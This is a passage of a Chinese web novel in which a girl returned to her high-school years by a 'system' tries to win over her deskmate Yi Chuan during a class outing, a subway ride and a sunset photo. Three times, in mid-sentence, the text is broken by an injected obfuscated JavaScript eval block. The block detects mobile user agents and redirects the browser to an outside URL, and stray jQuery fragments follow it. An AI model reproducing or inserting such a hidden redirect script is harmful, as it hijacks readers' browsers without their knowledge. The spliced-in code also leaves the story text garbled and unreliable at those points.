“你打给谁了？”王朗好奇道，还倾身想看易川的手机界面。 铃声在寂静的包厢内响彻。 身后微微的震动令叶舒转过身。 叶舒拿起自己的手机，赫然发现手机界面上显示着：易川邀请你语音通话。 她怔住，随后愣愣地抬头看向易川。 “接啊。” 易川歪头看着她说。 “你不接我怎么完成任务啊？”他理直气壮地补充道。 他都这么说了，叶舒只好摁下通话键。 她没有将手机放置耳边，而是看着眼前的人。 易川按照大冒险的要求，一字一句对着手机说道：“我、是、猪。” 叶舒手机听筒内慢半拍隐约重复着他那略带磁性的三个字。 他疯了。 叶舒表情僵在原地，呆呆地望着他，哑口无言。 “我靠，你怎么打给叶舒啊，你竟然打给叶舒！”王朗震惊又欣喜地叫嚣着，兴奋地像是抓住了什么把柄。 就连江菱和陆雯也一头雾水地揪着叶舒的衣角，八卦道：“你们咋回事？” “......” 叶舒回避地合上眼帘。 救命啊，能不能让她现在就遁地离开...... 34. 道歉 在工作人员恰巧开了门提醒时间到了的情况下，这场奇怪的“闹剧”才终于收场。 - 地铁上。 王朗在人满为患的车厢里抢了个位置，而易川和叶舒抢不过人，便只能站着。 叶舒其实很想问易川这次怎么不阔气地打车回去，但心里还是囿着一股气，便冷漠地站在一旁。 周末晚间，地铁车厢内人头攒动，免不了与别的乘客“摩肩擦踵”。 易川挪了挪步子，靠近她，手伸至她身旁的扶手，将她与别的乘客隔绝开。 叶舒看出他的意图，向旁边缩了缩身子。 她低着头看着自己的小白鞋，随后瞥了瞥小白鞋身边大一号的黑色运动鞋。 黑衣服黑裤子黑鞋子——心也是黑的。叶舒在心里吐槽。 见叶舒一直低垂着眼睛，易川喊了一声：“叶舒。” 叶舒没应声。 易川沉吟良久。 久到叶舒已经不想在等他的下文，抬步打算离开。 结果，下一秒变听见身后响起那声。 “对不起。” “……” 叶舒低着头没吭声。 易川见她迟迟不应声，便又叫了她一声，她还是没吭声。 “叶舒。” 他碰了碰叶舒的肩头，叶舒才抬起头，不明所以。 叶舒：“？” 易川愣住了。 叶舒耳朵上别着两只耳机，一脸茫然地看着他：“你有事吗？” “......”易川脸色骤然变得格外难看，问了句，“我刚刚说的话你听见没有？” 叶舒眨了眨眼：“你说什么了？” 易川颇为不耐烦地叹了口气：“你出门戴什么耳机啊？” 叶舒不理解，“这你也要管？” “......” 易川别过头，懒得再理她。 “所以你要说什么？”叶舒穷追不舍。 “没有，你听你的歌吧。” “好吧，”叶舒忍不住笑出了声，“我还以为能再听一遍某人的道歉。” 易川怔了几秒，随即反应过来被戏耍了，嘴角抽了抽，似笑非笑地望着她： “叶舒，我以前咋没发现你这么有心机。” “是你太蠢了吧。” ...... 嬉笑间，话题突然结束，两人之间又陷入沉默。 “江菱这一走，以后大概很难见到了吧。”易川幽幽开口。 叶舒瞧了他一眼：“舍不得？” 易川鼻间轻笑一声，没回答她这个问题，反问她：“那以后你们和江菱怎么办？” “什么怎么办？” “不常见面，有些东西自然会淡的。就像以前班的同学那样。” 易川语气平静，叶舒却听出了些许伤感。 他没明说那“有些东西”是什么，不过叶舒自然懂。 这种现象她经历得多了，早已过了还会觉得遗憾的年纪。 只是经历多了，并不意味着就能很好回答这种问题，所以叶舒不答，反问他：“你哥哥不也出国了吗？你应该很了解才对。” 易川怔了一瞬，讶异地看着她道：“是，但……你怎么知道？” 他似乎从未说过。 叶舒很快反应过来，镇定地甩锅给他人：“不知道听谁提起过。” “是吗？”易川双眉紧皱，似乎还是很疑惑，但最后还是没深究下去，只是淡淡开口，“亲人和朋友当然不一样，一个以后肯定会见，一个却不一定了。” 叶舒看着他，感到有些不可思议。 易川竟也有这么多愁善感的时候？ 如此难得，叶舒便也冰释前嫌地开导他：“不是有句话说人生像列车吗？有人会上车，有人就会下车。还有人会二次上车，就像王朗和......你。” 叶舒望了身侧的易川一眼。 她本想说的是三人再分到一个班，说到一半却惊觉——她和易川的再见何尝不是一种“二次上车”呢？ 自高中毕业后，她便没有再见过易川。 自那件事后，她便删了他的所有联系方式。 静海市不大，可她再也未见过他，也没有听到过他的消息，他真的在自己的生活中消失了。 叶舒从未想过会再见到他，甚至是以重返过去这种形式。 ...... 转念一想，其实当年共友那么多，她若想问，也能听到一星半点。 只是...... 她不想。 “想见的人千方百计都会见到；不想见的人即使有联系方式都不会见到。”叶舒望着眼前来去匆匆的行人，“就像我和你，若是没有分错班那个乌龙，你觉得我们俩现在还能像现在那么熟吗？” 人人都在匆匆前行，有时候恰巧能与他人相交并行，但毕竟不可能永远并行，这趟人走了总会有下一趟，下一趟人没出现前自然是独自一人前行。 “你的意思是，如果我们没分到一个班，你就会和我们淡了是吗？” 易川眼神落在她脸上，表情透露着古怪。 叶舒看着他，周围的人群喧嚣声渐弱。 她不知道对话怎么忽然变了意味，但明显感觉到面前的人有些不悦，便连忙浅笑着解释道：“我可没这么说，只是如果不是一个班的话可能不会像现在这么熟——” “那你寒假为什么还和我出门？”易川定定地看着她，眼眸中落了一道浅浅的她的影子。 叶舒哑然。 ——因为我有不得不和你保持联系的任务...... 见易川还在等着她的解释，叶舒灵机一动，顺着刚刚的话说下去：“所以说，这不就应证了我说的‘想见的人千方百计都会见到’吗？想见的人自会努力，就像江菱想见我们就会约我们，然而不想见的人即使有联系方式也不会去联系。” 听了她这话，易川的脸才缓和些，别过脑袋咳了几声，像是妄图把刚刚胶着的气氛散掉。 叶舒看着他这副模样笑了笑，低下头的瞬间笑容便变了味，泛着些微苦涩。 车厢内人群的环境音，像极了易川那年拒绝她的课间的喧闹声。 没想到，那时候对她形同陌路的易川，现在还会在意她对他的态度。 何其讽刺。 叶舒别过头，望着门口漆黑一片的隧道岩壁，玻璃窗扇上倒映着自己与易川的侧脸。 两道流畅的侧影靠得极近，随着车厢的轻微摇晃时不时重叠又分开。 ——易川，你如今在意我是否会因为分班而与你关系变淡，却没想过其实我们本该就没有那么多交集吧？ ——若不是在系统世界，我千方百计“讨好”你，我们又怎会是如今面对面说话的关系？ ——其实选择断了这场关系的是你。 - “下周开始，我们要进行为期一周的研学，研学地点是云港市，届时会有导游和老师带领，这关乎大家的社会实践，无故不得缺席......” 班主任陶珠在讲台上强调下周研学的注意事项，叶舒则在座位上看着社会实践的表单上的时间沉思。 不知不觉间都六月了。 下周就是高考，高一高二的学生有高考假。学校历年来的规矩，高一学生会在这周进行社会实践。 相较于出游的快乐，叶舒更忧心的是两年后易川的成绩。 自那次吵架和好后，易川和她之间的关系便回归了从前的状态。 因着叶舒和易川两人都不好惹的脾气，一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13737879|141763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间也没人再敢在他俩面前议论两人的关系。 易川似乎自觉在那次吵架中对叶舒有所亏欠，对叶舒的态度也越来越恭敬。 这倒是让叶舒的攻略计划轻松很多。 若是能这样一直下去，那她的攻略是有可能成功的。 ...... 研学出发当日。 夏日清晨的蝉鸣声闹得人耳廓疼，八成是舍不得人走。 叶舒坐在座位上，清点着东西。 “叶舒，你那是什么相机？” 后方的王朗戳了戳叶舒的背，指着她桌上的东西问。 叶舒顺着王朗指的方向，看到自己桌上的拍立得相机。 这时候拍立得相机还不流行，王朗这五大三粗的小男生不了解也正常。 “噢，这个啊，”叶舒拿起相机递给王朗，“这是即时成像的拍立得，一拍就能出相片，我特地带过来拍照的。” 易川听见动静，也转过头看着王朗手里那小巧的拍立得相机。 “你用过没？”叶舒问他。 易川：“我不喜欢拍照。” 叶舒：...... 没人问你喜不喜欢拍照。 王朗一脸神奇地看着她手里的相机。他只接触过微单和单反，这种不用导照片的倒是第一次见。 王朗：“我好像听过，不过还是第一次见。那你到时候和我拍一张。” “好啊。”叶舒欣然答应。 叶舒转念一想，说：“不如，你现在就给我拍一张吧，当作出发的照片。” “啊？”王朗欣喜的表情愣住，突然变得惶恐，“我没拍过，我拍毁了咋办？” “没事，你看这里，然后摁这个键......”叶舒指导他，随后摆好姿势，“你给我拍吧。” “行吧，拍出来你别生气就行。” 王朗有些紧张，看着取景框念了好几遍“三二一”都不敢下手。 叶舒：“王朗，你好没，我要笑僵了......” 王朗：“三，二，一——易川你入镜了——” 随着一声咔擦，闪光灯落下，一张相纸缓缓从相机上方吐出。 “易川入镜了，要是拍毁了别怪我，怪他！” 王朗放下相机，急忙向叶舒斥责易川的行为，反正他尽力了，要是照片不好看，肯定是易川的原因！ 叶舒不是很在意，只顾着看成像，伸手从王朗手里拿过相机。 她拿起相纸，相纸还未完全成像，只能隐约看见两个人影的轮廓。 还未看清细节，手里相纸便被一只手夺了去。 叶舒抬头，对上易川略带狡黠的面孔，他借由自己的身高优势抢去了相纸。 叶舒：“易川，还给我。” 易川长手长脚，叶舒完全够不到他的手。 他看着相纸，悠哉道：“这张要不给我吧，相纸多少钱？我转给你。” 这根本不是相纸的事。 叶舒：“这是我的照片，你要来干嘛？” “我刚刚入镜了，而且王朗这构图——”易川啧了声，颇为欣赏地看着那张照片，“倒像是在拍我。” 叶舒倒不是很在意这一张相纸，只是—— “......行，但你总得先给我看看照片吧。” 易川盯着相纸，忽然弯了弯唇：“你闭眼了，这张我好看点，给我吧。” “......” 叶舒回想了一下刚刚的情形。 适才王朗一直不敢下手，她摆姿势都累了，一时是有些懈怠，大概率真闭眼了。 叶舒看着易川，他正饶有兴致地看着手里的相纸。 这人说不喜欢拍照，还从自己这薅了张照片…… 反正他有的是钱，多找他要点。 35. 定向越野 在班主任的带领下，高一学生有秩序地排队乘坐大巴。 由于叶舒和凌熙放行李太慢，二人上车后发现，大巴车的位置只剩下后排那几座。 凌熙颇为无奈的背着包走到了后排靠窗的位置坐下。 叶舒则坐在她旁边。 “47，48......诶，还少两人呢？”陶珠数着人数疑惑着，扭头打算再数一次。 “报告！” 车门口响起一道洪亮的声音。 王朗背着包上来了，对着班主任乐呵赔笑：“不好意思老师，来晚了。” “没事，快坐下吧，要出发了。” 王朗扯了扯他身后人的衣角，埋怨道：“都是你，磨磨蹭蹭。” 王朗侧身，他身后那人的脸才得以显露出来。 易川头发有些凌乱，单肩背着包，他微眯眼，躲着窗户折射的刺目光线，侧头时流畅的下颌骨与高挺的鼻骨构成的轮廓无可挑剔。 两人走到后排，才注意到坐在后排的叶舒和凌熙。 清晨的日光拉成一条线透过车窗，投落在叶舒的侧脸上。 她扎着高马尾，马尾侧放置右肩，长长的落在胸前，白色的校服衬得她的头发像是覆在其上的乌黑的绸缎。虽然沉默地坐在角落，但周身散发的清冷莫名吸引人的目光。 “哇，叶舒你们也坐后排啊。”王朗在叶舒身旁的位置坐下。 “没抢到座位啊。”凌熙说着，随即看着王朗笑了笑，“王朗，你也太没眼力见了。” 叶舒和凌熙的位置与两名男生选定的位置隔了一个过道。王朗占据了靠过道的位置，易川自然只能坐靠窗的位置。 然而，王朗先行坐下了，也没顾及易川还未入座。 易川居高临下地看着王朗，表情十分无语：“王朗，你这是要我坐哪？” “Sorry，sorry。”王朗连忙起身，“你要坐外面吗？” 易川动作顿了顿，很快回复：“不用，我坐里面吧。” 说着，他便坐在了靠窗的位置。 王朗便也心安理得地一屁股坐下了。 凌熙默默摇了摇头，小声嘀咕了句：“王朗，说你没眼力见还真是没眼力见。” “啊？凌熙你叫我？” “没事。” ...... 从静海市到云港市车程大概要三小时，也算是长途跋涉。 但王朗像是喝了咖啡一般，亢奋得很，拉着周围的人玩各种游戏。 叶舒瞥了眼王朗身后的那人。 在这期间，易川一直没参与，偶尔在众人的热闹声中抬眼，更多时候他就在看自己手机，或者看着窗外发呆。 似是察觉到她的视线，易川从自己的世界里回神，抬眼对上她的目光。 “你干嘛呢。”他似乎有些累了，语气里有些懒意。 叶舒被抓包，有些窘迫，但面上装作波澜不惊，清了清嗓子问：“怎么不一起玩？” “看你们玩不就行了。” 易川说着，从包里掏出耳机戴上。 做完这些，他看向叶舒，似笑非笑着：“你不会觉得我像是被孤立，看着可怜吧？” “那没有。” 叶舒干笑了两声。 虽然表面上看，易川孤独地坐在角落，也不说话，像个被孤立的人，不过他脸上的冷漠更像是他在用一己之力孤立所有人。 几轮游戏下来，等叶舒再看向易川那处，他已阖上眼，浓密的睫毛耷拉在脸上，随着车子的颠簸颤动，有线耳机垂在他肩上，看样子是已安然静眠了。 不知是不是被他刚刚那份懒倦传染了，与同学聊着聊着，叶舒的头也逐渐昏沉，有了困倦的意思。 迷迷糊糊的，她向同学们说明情况后，便靠着椅背睡着了。 睡梦间，叶舒梦见和系统对话。 系统：【这次社会实践是非常好的机会，虽然你们之前吵架了，但和好之后，明显他与你关系大大拉近了，所以，你更要趁此机会与易川多多拉近关系。】 叶舒被它这番话弄得无言又想笑。 叶舒：【这任务究竟是让易川喜欢上我，还是让他逆袭成学霸......】 系统：【......我之前接手的大部分是恋爱攻略，也是没想到你把这个完全干成了“养成系攻略”。】 虽说叶舒抗拒这种把戏，但系统说的不无道理，与易川搞好关系，对她的攻略计划百利而无一害。 - 叶舒是被晃眼的阳光弄醒的。 她睁了一只眼向窗外看去，一束阳光刺进她瞳孔中，她下意识眯了眯眼。 似乎是要到目的地了，车里的同学们逐渐从睡梦中苏醒，开始期待接下来的出行。 叶舒打了个哈欠，随后向四周张望，凌熙还在打盹。 她转头，结果便对上易川的眼睛。 等等，易川？ 叶舒茫然地看着他。 他什么时候和王朗换了个位置？ 叶舒看向易川身旁的王朗，他正靠着窗睡觉，眼睛上戴着一个可爱玩偶样式的眼罩。 易川注意到叶舒错愕的表情，扬眉，略带不解地看着她。 相比起她刚醒的略带涣散的目光，他眼神清明，大概醒了有段时间了。 叶舒脑中浮现出一个奇怪的念头——那他岂不是会注意到她睡觉的样子......刚刚自己的睡相应该不会失态吧？ 想到这，叶舒未免有些不自在。 “你，怎么坐这了？”她怕吵到旁边的人，压低声音问他。 汽车的轰鸣声盖过了她轻柔的声音。 易川微皱眉，大概是没听清，他挪了挪身子，摘下耳机将耳朵靠近她。 叶舒无奈，只能凑近他重复了一遍。 易川面无表情地听完她的话，然后直起身，摸了摸耳廓，将耳机塞回耳朵里，像是嫌弃人一样。 叶舒在心里骂了他一句，然后便听见他说： “王朗说在外面睡着不舒服，要靠窗睡，所以就换位置了。” 易川说完，便重新投入在自己的世界里。 叶舒了然，下意识嘀咕道：“王朗眼罩还挺可爱的，没想到他还会喜欢这种，不知道他哪买的。” “我的。”易川冷不丁地回了句。 “啊？” 叶舒眼睛微微瞪大。 要不是易川抬起头看向她，她真以为易川在自言自语。 易川：“有问题吗？” 叶舒尴尬地笑了笑：“呵呵，你还……挺童心未泯的。” “怎么？你想要？” “不了，我说说而已......” ...... 目的地到达，这场尴尬的话题才得以终止。 根据安排，众人先在餐厅吃了午饭，便出发云港市最出名的景点之一，落日港口。 它出名不只是因其日落时分美丽的景色，还有周边聚集的古建筑群，这也是今天社会实践的主要目的。 为了让活动的互动性更高，社会实践的活动方还设置了定向越野项目，活动区域则在古建筑群的范围内。 然而，由于港口周围的古建筑群实在是太大了，而且道路错综复杂，还没等到日落，叶舒和凌熙已经走到筋疲力尽。 夏日炎炎，顶着烈日走了一下午，凌熙和叶舒额前都出了一层汗。 “我现在只想回酒店，好累。什么奖励我也不在乎了。”凌熙拿着小风扇对着自己的额头吹。 叶舒靠在路旁的栏杆上微微喘气。 本来还挺期待这落日的景色，现下人都累晕了。 “嗨！跟上啊！” 一声洪亮的嗓音从前方传来。 叶舒抬头，发现王朗正在不远处朝她们挥手致意。 他身边还站着一道顷长的身影，易川。 相比起她和凌熙的狼狈，两个人就像没事人一样，只是额前略有薄汗。特别是王朗，神采奕奕，带着个单反，竟然还能健步如飞。 而很不幸，叶舒被分到和他们一组定向越野。 “要不别找了，出来玩图一个轻松快乐，这的景这么美，我们就边走边欣赏吧。” 凌熙提出自己的建议，她实在是累得不行了，再加上她的座右铭就是“快乐至上”，为了一个虚无的头衔如此折磨自己，她本就不喜欢。 “这怎么行呢，我们再找一个至少就能拿个三等奖了。”王朗胜负欲上来了，激励凌熙道，大概是见只有自己愤慨，他转头询问易川的意见，“易川，你怎么想？” 四人站在一道石桥的上坡，身侧便是一片翠绿的湖泊。 易川单肩背着包，看着湖面。 云港市偏南方，天气回暖早，如今正是荷花盛开的时间，只是还不到盛放时期，大多数荷花都半开半合，处于含苞待放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13741570|141763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的状态。王朗适才便是在这拍风景。 听见王朗喊他，易川这才回神，慢半拍地噢了一声：“都行。” 以易川的性格，他对这些活动应当也没兴趣，只是任务使然，再加上王朗兴致勃勃，他便跟到现在。 叶舒循着易川的目光注意到湖面的荷花。 刚刚她在桥下整顿，倒是没注意到桥边的景色。 “这的景倒是挺好看的。”叶舒从包里拿出相机递给凌熙，“要不你在这给我拍一张。” 王朗看着那相机，眼睛一亮，一时忘了定向越野的任务，略带讨好地问：“叶舒，你之前说和我一起拍一张，你还记得吗？” 叶舒一眼看出他的心思，无奈地笑了笑：“没忘没忘，那凌熙你给我俩拍一张。” …… 随着咔擦一声，一张相纸从相机中吐出。 王朗期待地望着照片的显现。 与此同时，叶舒看向一旁的易川。 他歪着头看着她，虽说他与他们的距离很近，但他无言伫立在边上的模样，不像与他们同行的同学，更像个围观的落单者。 这一幕就像在公车上时的状况。 见状，叶舒叫出易川的名字：“易......” 未等叶舒叫完他的名字，不远处传来一阵兴奋的欢呼声。 “啊啊啊啊找到了！” 听声音，大概是哪组找到了藏匿在附近的“活动宝物”，正在庆贺。 王朗听见这声后，又变回刚刚那副斗志昂扬的模样，义形于色道：“不行，我们再怎么着也得拿个三等奖！我和易川去这条道，你们去这条。” 王朗在地图上飞速地比划了一番，话音刚落，他便快步朝石桥对面去。 易川微微皱眉，但见王朗志在必得的表情，还是把嫌弃的话噎了回去，缓缓跟上去。 “易川。” 叶舒还是叫住了他。 易川回头看她。 “我......” 叶舒捏紧了手中的相机。 “易川，快点啊！”王朗在身后催促他，“叶舒你们也快去啊，要到时间了！” 叶舒想说的话被王朗打断。 易川：“有什么事回来再说吧。” 他留下这句便转身离开。 第三方系统跑出来吐槽叶舒的行为：【夏日，古桥，绿湖，荷花，少男少女，多好的机会啊，犹豫就会败北！】 叶舒：...... 罢了，还有时机。 - 叶舒和凌熙按照地图的指示到了两栋建筑的交岔路口。 石壁围墙环绕着两人，眼前的墙上还立着一牌匾：连云古巷，云港市文物保护单位。 这是建筑的背光阴影处，如今要六点了，临近太阳落山时刻，这处的天显得更为阴沉。 古巷狭长绵延不绝，也不知何处是尽头。 不知是否是因为活动时间将至，古道路上没有一个人，只有她们两人驻足在原地。 两人面面相觑，头顶似乎还飞过几只鸟，嘶哑地叫了几声。 凌熙看着这人迹罕至的地，莫名有些胆寒：“这确定有我们要找的东西吗？说不定都给人找走了。” “找一会再走吧，找不到也没办法了。”叶舒将地图收起，开始寻找起附近可能藏匿东西的地方。 叶舒不在意输赢。 过去那次社会实践中的定向越野活动，叶舒因为体力不济，找了一半便放弃了，而且当时叶舒与王朗并不同班，组内也没有像王朗这般胜负欲强且执拗的人，所以叶舒根本没当回事。 而再来一次，叶舒对这活动也没有燃起更大的兴趣。 只是见王朗志在必得，她不想辜负他这份“赤子之心”，虽说自己这次没有“天眼”，帮不上忙，但叶舒还是想在力所能及处多配合他。 叶舒沿途仔细观察着。 依照她之前的印象，活动方不会将“宝物”藏匿在难找的地方，一般都是在较容易发现的地方，只是因为藏匿得明显，容易先被其他组的捷足先登。 逐渐深入，二人走到了古巷的转角处。 叶舒观望四周，发现左侧道路立着一字碑。 她急忙上前，绕到字碑后面寻找。 然而，她刚瞧见地面竖着代表本次活动的小旗帜，便听见耳边传来一阵脚步声。 叶舒闻声抬头，便与那人对视上。 36. 落日合影 贺琛......？ 叶舒稍怔，贺琛看清她的容貌后也微微一愣。 大概是曾经被他表白，叶舒对贺琛打量的眼神感到有些不自在，脸一热，低下了头。 “贺琛，你干嘛呢？拿东西啊！” 一名大概是贺琛的队友追上来，随即在三人的眼皮底下，拿起了那活动的旗帜。 “诶，你——”凌熙无语地看着那男生。 男生大概是是觉得只是个游戏，没觉得自己有什么问题，嬉皮笑脸地说：“同学，先到先得啊。” 听见这话，叶舒震惊了一瞬，随即直接伸手把男生手中的旗帜抢了回来。 叶舒：“很明显是我们先到的。” 男生似是没想到叶舒竟会直接抢，呆愣了一会儿，才支吾说着：“你、你怎么......” 叶舒：“先到先得，我只是拿回属于我们的东西。” 大概是不想两人起冲突，贺琛及时出言制止：“确实是她先到的，本来也是她们的。” 凌熙嘲讽道：“我还以为贺琛你会站你队友呢，还好你有点道德。” “喂，你怎么骂人？” “我骂人了吗？” 男生捕捉到刚刚凌熙念了声贺琛的名字，转头问贺琛：“你认识她们？你别见色忘友吧，这是比赛。” 凌熙：“嘿，你什么意思啊！欺负这没监控是吧！” 见凌熙生气，叶舒忙拉住凌熙，将她拦在身后，对男生说： “同学，谁先找到算谁的。若是你们先到这里，那我们也不会和你们争。我们也不屑于为了一个小游戏撒谎，颠倒黑白。而且你的朋友肯定是站你那边的，他都说是我们先到的了，你还要抢我们东西，你是何居心？” 叶舒义正言辞，摆明就是在说男生为了这游戏恃强凌弱。 “当然，你要是为了赢硬要抢，我们也没办法。”叶舒耸肩，话里讽刺道。 男生被叶舒这连珠炮一般的话语说得脸热，哑口无言。 “确实是人家先来的，所以我才没敢拿。”贺琛打起圆场，随后冲叶舒和凌熙歉疚地笑了笑，“不好意思，他应该是以为我先到的，所以产生了误会，对不起。” …… 叶舒和凌熙望着两名男生离去的背影。 凌熙对叶舒竖起了大拇指：“还好你刚刚直接抢回来了，太酷了！” 叶舒虽然长相看着有攻击性，但待人亲和，今天这一下，也把凌熙惊到了。 叶舒欣然一笑：“你也不赖，我都怕你上去打他了。” 凌熙想到那男生的举动便生气：“没见过这么不要脸的，见我们在这还抢东西，还好他最后有自知之明，不然我还得和他吵到游戏结束。贺琛竟然还和这样的是朋友，晦气！” 想到贺琛谦和的模样，叶舒感慨了一句：“他还是老样子。” 一副乖乖学生的老好人样。 “你认识贺琛？”凌熙想起之前和贺琛在便利店的相遇，“他就是上次小卖部和我打招呼的男生，我们以前一个班的，现在在我们隔壁重点班。” “你们在说谁啊？” 叶舒正愁怎么搪塞凌熙的问话，身后便响起一道熟悉的声音。 她和凌熙齐齐转头，发现不知何时，王朗和易川站在她们身后。 凌熙：“你们怎么在这？” “那里没找到东西，而且要到集合时间了，我们就来你们这找你们先。”王朗解释着，随后视线下移，看见叶舒手里的活动旗帜，惊喜道，“你们找到了？！” “嗯。” 叶舒将“宝物”递给王朗，统一让他保管着。 凌熙：“是啊，因为这个还差点和人‘打’起来。” “啊？” “刚刚有个人差点抢了我们的东西，还好叶舒抢了回来，骂了他几句他就走了。”凌熙回想到那男生吃瘪的表情，心情舒畅了不少，眼睛弯了弯，脸上浮现出笑意。 “哇哦，叶舒你这么勇！”王朗一脸惊讶地看着叶舒。 “有点可惜，没能亲眼看到你骂人。” 叶舒看向王朗身后的易川，他正饶有兴致地看着叶舒，像是很遗憾没能看见叶舒和人吵架的场面。 叶舒：“我没骂人......” 王朗突然重新扯回刚才的话题：“你们刚刚听到你们在说贺琛，是隔壁班那个贺琛？” 凌熙：“是啊，他是我以前班的同学，刚刚还帮我们说话来着。你知道他？” “噢，之前我们和他一起打过球，他还挺帅的。易川，你记得吧。”王朗用手肘碰了碰身旁的易川。 易川没吭声，听见王朗这话，只是轻掀眼皮瞥了眼叶舒：“你认识他？” 此话一出，凌熙将刚刚忘在脑后的问话又想起来，好奇地看着叶舒。 “不认识。”叶舒立即佯装茫然，摇了摇头。 好在，凌熙没多想，被她这副模样糊弄了过去。 - 最终，他们这组以微弱的优势，获得了本次活动的三等奖。 然而，奖励仅仅只是一顶印着活动方LOGO的帽子。 凌熙看着手里朴素的“夕阳红”帽子哭笑不得：“还不如把做这帽子的钱折现给我。” 叶舒苦笑着默默把帽子收回包里。 易川拿着帽子上下翻看，表情谈不上嫌弃也说不上喜欢。 他看了一会儿便说：“前面有个便利店，要不我请你们喝东西。” 叶舒和凌熙略带震惊地望向易川。 他今天这么好心情？吃错什么药了？ 本还想就此与易川客气一番，结果王朗一脸开心地接受了，并推着几人往便利店走： “快快快，待会要去看落日了，别耽搁！” 虽然叶舒和凌熙都自觉不好意思，但在王朗的热情招呼下还是拿了两瓶矿泉水。 “嗨，就拿个矿泉水扭扭捏捏的，搞得像坑了易川似的。”王朗撇嘴，自然地好似请客的是他，“这点小钱有啥不好意思的，我自己都能请你们。” “啪。” 身后的易川用水瓶敲了一下王朗的脑袋：“行了，请客都堵不住你嘴，是你花钱吗？” 说着，他便拿过众人的水前往收银台结算。 伸手接过叶舒的水时，易川还顺带毒舌了叶舒一番：“扭捏什么，平时也没见你对我嘴下留情。” 叶舒权当没听见他这话，默默回道：“谢谢。” - 众人排着队抵达港口时，天际对面的红日正西斜，落日如黄金般璀璨，嵌在海面尽头像油画上一抹艳色颜料。 云海绵延至黄昏尽头，日落的晚霞映照在波光粼粼的海面，水天一色，场面十分壮观。 最近是出行淡季，这时又是工作日的晚饭时间，岸边没多少当地市民，现下这港口几乎是被身着校服的学生们攻陷了。 同学们纷纷拿出手机和相机拍下这一美景，而随行的导游还在尽力维持着秩序。 “同学们，现在是专门给你们的拍照时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13749450|141763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，不过大家要注意安全，注意距离，安全第一！” 凌熙喊着无数次“借过”，拉着叶舒挤开层层人群，然后挑了处好地方便嚷嚷着要与叶舒拍合照，抱着叶舒的拍立得相机找朋友帮忙。 王朗见状，兴致勃勃地冲上前说：“我来我来！” 凌熙狐疑地看着他：“你？你行吗？” 王朗不乐意了：“我今早还给叶舒拍呢，而且我平常拍单反的，怕你这个小相机？” “这拍了可删不了，跟单反当然不一样......” “别废话，三，二，一——” 咔擦—— 叶舒看着渐渐成像的照片。 两名女生，背靠夕阳与大海，身着校服笑得灿烂，画面颇显青春洋溢。 虽说刚刚谁也不服谁，不过单看构图，王朗还是有两把刷子。 “王朗，你拍得还挺好看的。”叶舒由衷地称赞道。 王朗仰起脸，瞪了凌熙一眼：“那是，也不看我是谁！” 叶舒看着照片，回想起今日自己本来的目的，便立刻抬头寻向那人。 不远处，易川站在人堆之中，众人皆是三两成群，唯独他只身一人。 即使他现下背对着她们在拍景，背影轮廓被霞光镀上一层浅浅的光晕，也莫名觉得身影孤立落寞。 猎猎海风吹起他的衣角，吹乱他的头发。 叶舒顺着他那线条明显的手臂看去，手机取景框内的落日小小一个，散射的光线柔和，只是静态画面远没有亲眼所见那种美丽与震撼。 一阵风起，风大得叶舒眯起了眼，再睁眼时，便对上了易川那双漆黑深邃的眼睛。 他看着叶舒，随后歪了歪头，像在问她“看着我干嘛”。 叶舒被这突如其来的对视弄得怔了一瞬，随后硬着头皮走上前，对他扬了个还算自然的笑容：“拍照吗？” 易川没说话，面上也无甚波澜，两人之间陷入一种尴尬的沉默。 他眼神不移地落在她脸上，而她也只能维持着自己和善的笑容。 嘈杂的人声渐入耳，而他们两人却一直保持着一种诡异的静止。 半晌。 久到叶舒脸都笑僵了，久到凌熙和王朗觉得古怪走近两人身边，易川才松了口：“行。” 叶舒：...... 她深度怀疑刚刚易川是借此“捉弄”她。 王朗听后，兴奋地从凌熙手中拿过相机，说：“我来我来！我刚刚拍得可成功了！” 王朗总是像个及时雨，打消了两人之间刚刚残余的尴尬。 叶舒站在易川身边，虽说心里觉得局促，但面上还是表现得十分自然，在心里无数次给自己洗脑“和普通同学合照一样”。 就像和王朗拍照一样，没什么不同。 “我还以为，你不会和我拍。” 耳边忽然传来一道调侃。 叶舒闻言抬头，有些错愕。 “呵呵，怎么会，你这么说倒像是我孤立你。你是我同桌，而且认识这么久了，当然会和你合照......” 叶舒解释着，说了许多。 她说完这话，易川嘴角挂着稍显玩味的轻佻笑意，看不出在想什么。 叶舒：“你——” “你俩好了吗，可以开拍没？” 叶舒刚想继续说什么，便被王朗的提醒声打断，易川转过头看向镜头，她也只能随之转过脸。 她收回那句话，王朗有的时候也不是合适的及时雨…… 37. 撞见 夜晚，酒店。 